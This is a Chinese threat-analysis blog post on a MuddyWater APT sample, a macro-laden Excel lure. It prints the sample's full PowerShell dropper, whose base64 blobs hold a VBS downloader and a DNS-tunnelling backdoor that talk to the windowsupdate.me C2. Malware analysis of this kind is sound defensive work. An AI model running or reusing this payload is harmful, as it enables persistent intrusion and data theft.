来自中东的污水，近期MuddyWater组织样本分析-安全客

概述

MuddyWater又称污水，是疑似来源于伊朗的APT组织，主要针对中东地区。该APT组织比较善于利用powershell等脚本后门内存加载，无文件落地的方式使得MuddyWater的攻击具有一定的免杀性。此外，该组织早期的攻击活动与FIN7组织有关联，但由于其动机完全不同所以属于两个不同的组织，该组织主要以网络间谍活动为主要动机。

样本分析

MofaVPN.xls

样本hash：7cb4e466936bbb10fc6633c5a37d1e6c

样本名称：MofaVPN.xls

样本类型：xls

原始样本通过仿冒office官方来提醒用户启用恶意宏代码。

恶意宏代码启用后，文档会显示一个简单表格以迷惑用户：

宏代码执行后，会在WorkBook_Open方法中调用komisova_tr2和komisova_s2函数执行关键功能

在komisova_tr2函数中，程序首先会读取当前工作表第一行25列和26列的内容，并分别赋值给komisova_vb和komisova_ps变量：

这两行的内容刚好会被原始诱饵文档的提示信息给挡住：

接着创建一个shell对象和一个file对象并通过shell对象获取到%Public%路径：

路径成功获取之后，程序会将上面获取到的vb和ps变量base64解码之后赋值给cmd变量，将获取到的%public%路径拼接到cmd2变量。然后判断C:\Users\Public\Libraries目录下是否存在komisova.vbs文件和up、dn、tp目录，若不存在则创建。最后程序分别通过wscript执行cmd和cmd2的指令。

komisova_s2的功能较为简单，主要是用于切换活动工作表。

由于excel的调试界面中有变量显示长度限制，我们在调试的时候不能看到执行的完整命令。

于是可以通过写入文件的方式分别将cmd和cmd2给写到文件中。

vba中写入文件的方法很简单，可以简单封装一个函数进行写入：

Private Sub CreateTxtFile1()
    Dim fso As Object
    Dim myTxt As Object
    Dim MyFName As String

    MyFName = ThisWorkbook.path & "/cmd.txt" 
    Set fso = CreateObject("Scripting.FileSystemObject") 
    Set myTxt = fso.CreateTextFile(fileName:=MyFName, OverWrite:=True) 
    myTxt.Write cmd
    myTxt.Close
    Set myTxt = Nothing
    Set fso = Nothing
  End Sub

其中cmd2命令比较简单，主要是设置了一个名为GoogleUpdatesTaskReport的计划任务，该计划任务每两分钟执行一次，用于启动komisova.vbs文件

cmd变量解码之后一段powershell Dropper，用于释放后续的vbs和ps1文件

  powershell "&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzXCINClNFUlZFUj0iaHR0cDovL3dpbmRvd3N1cGRhdGUubWUvdXBkYXRlLWluZGV4LmFzcHg/cmVxPV9fXCINCkR3bj0icG93ZXJzaGVsbCAiIiZ7JHdjPShuZXctb2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KTskd2MuVXNlRGVmYXVsdENyZWRlbnRpYWxzPSR0cnVlOyR3Yy5IZWFkZXJzLmFkZCgnQWNjZXB0JywnKi8qJyk7JHdjLkhlYWRlcnMuYWRkKCdVc2VyLUFnZW50JywnTWljcm9zb2Z0IEJJVFMvNy43Jyk7d2hpbGUoMSl7dHJ5eyRyPUdldC1SYW5kb207JHdjLkRvd25sb2FkRmlsZSgnIiZTRVJWRVImIi1fJm09ZCcsJyImSE9NRSYiZG5cJyskcisnLi1fJyk7U2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1WYWx1ZSAoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoR2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpKSkpIC1FbmNvZGluZyBCeXRlOyRjZD0kd2MuUmVzcG9uc2VIZWFkZXJzWydDb250ZW50LURpc3Bvc2l0aW9uJ107UmVuYW1lLUl0ZW0gLXBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1uZXduYW1lICgkY2QuU3Vic3RyaW5nKCRjZC5JbmRleE9mKCdmaWxlbmFtZT0nKSs5KSl9Y2F0Y2h7YnJlYWt9fX0iIiINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBSZXBsYWNlKER3biwiLV8iLCJkd24iKSwwDQpEb3dubG9hZEV4ZWN1dGU9InBvd2Vyc2hlbGwgIiImeyR3Yz0obmV3LW9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCk7JHdjLlVzZURlZmF1bHRDcmVkZW50aWFscz0kdHJ1ZTskd2MuSGVhZGVycy5hZGQoJ0FjY2VwdCcsJyovKicpOyR3Yy5IZWFkZXJzLmFkZCgnVXNlci1BZ2VudCcsJ01pY3Jvc29mdCBCSVRTLzcuNycpOyRyPUdldC1SYW5kb207JHdjLkRvd25sb2FkRmlsZSgnaHR0cDovL3dpbmRvd3N1cGRhdGUubWUvdXBkYXRlLWluZGV4LmFzcHg/cmVxPV9fXC1fJm09ZCcsJ2M6XHVzZXJzXHB1YmxpY1xsaWJyYXJpZXNcZG5cJyskcisnLi1fJyk7U2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpIC1WYWx1ZSAoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoR2V0LUNvbnRlbnQgLVBhdGggKCciJkhPTUUmImRuXCcrJHIrJy4tXycpKSkpIC1FbmNvZGluZyBCeXRlO0ludm9rZS1FeHByZXNzaW9uICgnIiZIT01FJiJkblwnKyRyKycuLV8gPiImSE9NRSYidXBcJyskcisnLV8nKTskY2Q9JHdjLlJlc3BvbnNlSGVhZGVyc1snQ29udGVudC1EaXNwb3NpdGlvbiddO1JlbmFtZS1JdGVtIC1wYXRoICgnIiZIT01FJiJ1cFwnKyRyKyctXycpIC1uZXduYW1lICgkY2QuU3Vic3RyaW5nKCgkY2QuSW5kZXhPZignZmlsZW5hbWU9JykrOSksKCRjZC5MZW5ndGgtMjUpKSsnLmJhdC50eHQnKTtHZXQtQ2hpbGRJdGVtICImSE9NRSYidXBcIHwgRm9yRWFjaC1PYmplY3Qge2lmKChHZXQtSXRlbSAoJF8uRnVsbE5hbWUpKS5sZW5ndGggLWd0IDApe1tTeXN0ZW0uQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKChbU3lzdGVtLklPLkZpbGVdOjpSZWFkQWxsQnl0ZXMoJF8uRnVsbE5hbWUpKSkgfCBPdXQtRmlsZSAkXy5GdWxsTmFtZTskd2MuVXBsb2FkRmlsZSgnIiZTRVJWRVImInVwbCZtPXUnLCRfLkZ1bGxOYW1lKTt3YWl0Zm9yIGhhaGEgL1QgM307UmVtb3ZlLUl0ZW0gJF8uRnVsbE5hbWV9O1JlbW92ZS1JdGVtICgnIiZIT01FJiJkblwnKyRyKycuLV8nKX0iIiINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBSZXBsYWNlKERvd25sb2FkRXhlY3V0ZSwiLV8iLCJiYXQiKSwwDQprb21jPSJwb3dlcnNoZWxsIC1leGVjIEJ5cGFzcyAtRmlsZSAiJkhPTUUmImtvbWlzb3ZhLnBzMSINCkNyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpLlJ1biBrb21jLDANCg==')); Set-Content 'C:\Users\Public\Libraries\komisova.vbs' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGdsb2JhbDpteWhvc3QgPSAnLndpbmRvd3N1cGRhdGUubWUnIA0KICRnbG9iYWw6ZmlsZW5hbWUgPSAnJyANCiAkZ2xvYmFsOm15ZmxhZyA9IDAgDQogJGdsb2JhbDpteWlkID0gJyMjIycgDQogJGdsb2JhbDpteWhvbWUgPSAiJGVudjpQdWJsaWNcTGlicmFyaWVzXCIgDQogZnVuY3Rpb24gY29udmVydFRvLUJhc2UzNiAoJGRlY051bT0iIikgDQogeyANCiAgICAkZGVjTnVtICU9IDQ2NjU2IA0KICAgICRhbHBoYWJldCA9ICIwMTIzNDU2Nzg5QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiIA0KICAgIGRvIA0KICAgIHsgDQogICAgICAgICRyZW1haW5kZXIgPSAoJGRlY051bSAlIDM2KSANCiAgICAgICAgJGNoYXIgPSAkYWxwaGFiZXQuc3Vic3RyaW5nKCRyZW1haW5kZXIsMSkgDQogICAgICAgICRiYXNlMzZOdW0gPSAiJGNoYXIkYmFzZTM2TnVtIiANCiAgICAgICAgJGRlY051bSA9ICgkZGVjTnVtIC0gJHJlbWFpbmRlcikgLyAzNiANCiAgICB9IA0KICAgIHdoaWxlICgkZGVjTnVtIC1ndCAwKSANCiAgICAkYmFzZTM2TnVtLlBhZExlZnQoMywnMCcpIA0KCX0gDQoJIA0KCSANCglmdW5jdGlvbiBHZXRTdWIoJG15ZmxhZzMsICRjbWRpZD0nMDAnLCAkcGFydGlkPScwMDAnKSANCiB7IA0KICAgIGlmKCRteWZsYWczIC1lcSAwKSANCiAgICB7IA0KICAgICgnd3cwMDAwMDAnKyhjb252ZXJ0VG8tQmFzZTM2KEdldC1SYW5kb20gLU1heGltdW0gNDY2NTUpKSkgDQogICAgfSANCiAgICBlbHNlaWYoJG15ZmxhZzMgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICgnd3cnKyRnbG9iYWw6bXlpZCsnMDAwMDAnKyhjb252ZXJ0VG8tQmFzZTM2KEdldC1SYW5kb20gLU1heGltdW0gNDY2NTUpKSkgDQogICAgfSANCiAgICBlbHNlaWYoJG15ZmxhZzMgLWVxIDIpIA0KICAgIHsgDQogICAgICAgICgnd3cnKyRnbG9iYWw6bXlpZCskY21kaWQrJHBhcnRpZCsoY29udmVydFRvLUJhc2UzNihHZXQtUmFuZG9tIC1NYXhpbXVtIDQ2NjU1KSkpIA0KICAgIH0gDQp9IA0KIGZ1bmN0aW9uIFN0cjJIZXgoJG15c3RyKSANCiB7IA0KICAgIFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6RGVmYXVsdC5HZXRCeXRlcygkbXlzdHIpKS5SZXBsYWNlKCItIiwgIiIpIA0KfSANCiBmdW5jdGlvbiBBbGl2ZSANCiB7IA0KCWlmKCRnbG9iYWw6bXlpZCAtZXEgJyMnKycjIycpIA0KCXsgDQoJCXJldHVybiAwIA0KCX0gDQogICAgU2VuZFJlY2VpdmVETlMgKChHZXRTdWIgMSkrJzMwJykgDQogICAgJHN1YiA9ICgoR2V0U3ViIDEpKycyMzJBJykgKyAoU3RyMkhleCAkZ2xvYmFsOmZpbGVuYW1lKSANCiAgICAkaSA9IDEgDQogICAgJHJldCA9IDAgDQogICAgd2hpbGUoJGdsb2JhbDpteWZsYWcgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICRyZXQgPSAxIA0KICAgICAgICAkc3ViMiA9ICRzdWIgKyAoU3RyMkhleCAkaSkgDQogICAgICAgIFNlbmRSZWNlaXZlRE5TICRzdWIyIA0KICAgICAgICAkaSsrIA0KICAgIH0gDQogICAgaWYoJHJldCAtZXEgMSkgDQogICAgeyANCiAgICAgICAgRml4QmF0RmlsZSAoJGdsb2JhbDpteWhvbWUrJ3RwXFwnKyRnbG9iYWw6ZmlsZW5hbWUrIi5iYXQiKSANCiAgICB9IA0KICAgICRyZXQgDQp9IA0KIA0KIGZ1bmN0aW9uIFNlbmRSZWNlaXZlRE5TICgkZCkgDQp7IA0KCSRjbnQgPSAwIA0KCXdoaWxlICgkY250IC1sdCAyMCkgDQoJeyANCgkJdHJ5IA0KCQl7IA0KCQkJJG15ZGF0YSA9IChbU3lzdGVtLk5ldC5ETlNdOjpHZXRIb3N0QnlOYW1lKCRkKyRnbG9iYWw6bXlob3N0KS5BZGRyZXNzTGlzdFswXSkgDQoJCQkkbXlkYXRhID0gKCRteWRhdGEgfCBGb3JFYWNoLU9iamVjdCB7JF8uSVBBZGRyZXNzVG9TdHJpbmd9KSANCgkJCSRjbnQgPSAyNSANCgkJfSANCgkJY2F0Y2ggDQoJCXsgDQoJCQlTdGFydC1TbGVlcCAtbSA1MDAgDQoJCQkkY250KysgDQoJCX0gDQoJfSANCiAgICBpZigtbm90KCRjbnQgLWVxIDI1KSkgDQogICAgeyANCiAgICAgICAgKCcjJysnIyMnKSANCiAgICB9IA0KICAgIGVsc2VpZigkZ2xvYmFsOm15ZmxhZyAtZXEgMCAtYW5kICRteWRhdGEuU3RhcnRzV2l0aCgnMzMuMzMuJykpIA0KICAgIHsgDQogICAgICAgICR0bXAgPSAkbXlkYXRhLlN1YlN0cmluZyg2KS5TcGxpdCgnLicpIA0KICAgICAgICAkZ2xvYmFsOmZpbGVuYW1lID0gKFtjaGFyXSBbaW50XSAkdG1wWzBdKSArIChbY2hhcl0gW2ludF0gJHRtcFsxXSkgDQogICAgICAgICRnbG9iYWw6bXlmbGFnID0gMSANCiAgICB9IA0KICAgIGVsc2VpZiAoJG15ZGF0YS5FcXVhbHMoJzM1LjM1LjM1LjM1JykpIA0KICAgIHsgDQogICAgICAgICRnbG9iYWw6bXlmbGFnID0gMCANCiAgICB9IA0KICAgIGVsc2VpZiAoJGdsb2JhbDpteWZsYWcgLWVxIDEpIA0KICAgIHsgDQogICAgICAgICR0bXAgPSAkbXlkYXRhLlNwbGl0KCcuJykgDQogICAgICAgIFtTeXN0ZW0uSU8uRmlsZV06OkFwcGVuZEFsbFRleHQoJGdsb2JhbDpteWhvbWUrJ3RwXCcrJGdsb2JhbDpmaWxlbmFtZSsiLmJhdCIsICgoW2NoYXJdIFtpbnRdICR0bXBbMF0pICsgKFtjaGFyXSBbaW50XSAkdG1wWzFdKSArIChbY2hhcl0gW2ludF0gJHRtcFsyXSkgKyAoW2NoYXJdIFtpbnRdICR0bXBbM10pKSkgDQogICAgfSANCiAgICBlbHNlaWYoJGdsb2JhbDpteWlkIC1lcSAnIycrJyMjJykgDQogICAgeyANCiAgICAgICAgKFtjaGFyXSBbaW50XSAkbXlkYXRhLlNwbGl0KCcuJylbMF0pIA0KICAgIH0gDQogfSANCiBmdW5jdGlvbiBGaXhCYXRGaWxlICgkYmF0cGF0aCkgDQogeyANCiAgIChHZXQtQ29udGVudCAkYmF0cGF0aCkuU3Vic3RyaW5nKDEwKSB8IFNldC1Db250ZW50ICRiYXRwYXRoIA0KfSANCiBmdW5jdGlvbiBTZW5kRmlsZSgkbXlGaWxlUGF0aCkgDQogeyANCiAgICAkbXlGaWxlTmFtZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEZpbGVOYW1lV2l0aG91dEV4dGVuc2lvbigkbXlGaWxlUGF0aCkgDQogICAgJG15c3RyID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbFRleHQoJG15RmlsZVBhdGgpIA0KICAgICRpPTAgDQogICAgJG15dGVtcCA9ICcnIA0KICAgICRqPTAgDQogICAgd2hpbGUoJGkgLWxlICRteXN0ci5MZW5ndGgpIA0KICAgIHsgDQogICAgICAgICRteXRlbXAgKz0gJG15c3RyWyRpXSANCiAgICAgICAgaWYoKCgkaSUyNCkgLWVxIDIzKSAtb3IgKCRpIC1lcSAkbXlzdHIuTGVuZ3RoKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICAkbXloZXggPSBTdHIySGV4ICRteXRlbXAgDQogICAgICAgICAgICBTZW5kUmVjZWl2ZUROUyAoKEdldFN1YiAyICRteUZpbGVOYW1lIChjb252ZXJ0VG8tQmFzZTM2ICRqKSkgKyAkbXloZXgpIA0KICAgICAgICAgICAgJGorKyANCiAgICAgICAgICAgICRteXRlbXAgPSAnJyANCiAgICAgICAgfSANCiAgICAgICAgJGkrKyANCiAgICB9IA0KIH0gDQogDQogZnVuY3Rpb24gR2V0SUQgDQogeyANCiAgICAkZ2xvYmFsOm15aWQgPSBTZW5kUmVjZWl2ZUROUyAoKEdldFN1YiAwKSsnMzAnKSANCiB9IA0KIA0KIGZ1bmN0aW9uIENoYW5nZVRoaXNGaWxlICgkYm90aWQpIA0KIHsgDQoJKEdldC1Db250ZW50ICIkZW52OlB1YmxpY1xMaWJyYXJpZXNca29taXNvdmEucHMxIikgLXJlcGxhY2UgKCcjJysnIyMnKSwkYm90aWQgfCBTZXQtQ29udGVudCAiJGVudjpQdWJsaWNcTGlicmFyaWVzXGtvbWlzb3ZhLnBzMSIgDQogfSANCiANCmZ1bmN0aW9uIEluaXQgDQogeyANCiAgICBpZigkZ2xvYmFsOm15aWQgLWVxICgnIycrJyMjJykpIA0KICAgIHsgDQoJCW1kIC1Gb3JjZSAoJGdsb2JhbDpteWhvbWUrJ3RwXCcpIA0KCQlHZXRJRCANCgkJQ2hhbmdlVGhpc0ZpbGUgJGdsb2JhbDpteWlkIA0KICAgIH0gDQogfSANCiBmdW5jdGlvbiBtYWluIA0KIHsgDQogICAgSW5pdCANCiAgICBpZihBbGl2ZSAtZXEgMSkgDQogICAgeyANCiAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy5iYXQgPiAnKyRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICAgICAgU2VuZEZpbGUgKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICAgICAgUmVtb3ZlLUl0ZW0gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy5iYXQnKSANCiAgICAgICAgUmVtb3ZlLUl0ZW0gKCRnbG9iYWw6bXlob21lKyd0cFwnKyRnbG9iYWw6ZmlsZW5hbWUrJy50eHQnKSANCiAgICB9IA0KIH0gDQogbWFpbiANCg==')); Set-Content 'C:\Users\Public\Libraries\komisova.ps1' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"

该Dropper一共由五部分组成。

第一部分是解码了一段base64编码的数据并赋值给了$f变量

第二部分是将解码之后的$f变量写入到komisova.vbs中：

第三部分，再次解密一段base64数据放入到$f变量：

第四部分，将第二次解码的代码写入到komisova.ps1中：

第五部分，将vbs之中的双下划线替换为一个随机数：

komisova.vbs

释放的komisova.vbs是一个利用powershell的downloader。

该vbs执行之后，首先会尝试从
hxxp://windowsupdate.me/update-index.aspx?req=1940721589\
C2下载文件到本地执行，接着调用powershell执行刚才释放的komisova.ps1文件。

vbs中内嵌了两段powershell代码，第一段powershell代码用于下载文件并将其保存到先前创建的dn目录中

第二段powershell代码用于下载bat文件保存到dn目录中并执行后自删除

komisova.ps1

经过分析，该ps1文件是一个简单后门。

程序首先预定义了了一些变量，包括C2域名以及文件存放路径：

在入口调用的main函数中，程序首先会调用Init函数进行初始化。

初始化时首先会判断$global:myid是否为 ### ，如果是，则说明是该后门第一次启动或表明myid变量没有成功赋值，在这种情况下，程序会调用GetId函数尝试通过SendReceiveDNS对C2发起请求以获取dns服务器，使用SendReceiveDNS函数的返回值给myid变量赋值。然后尝试将新的myid替换掉该ps文件中的’###’符号。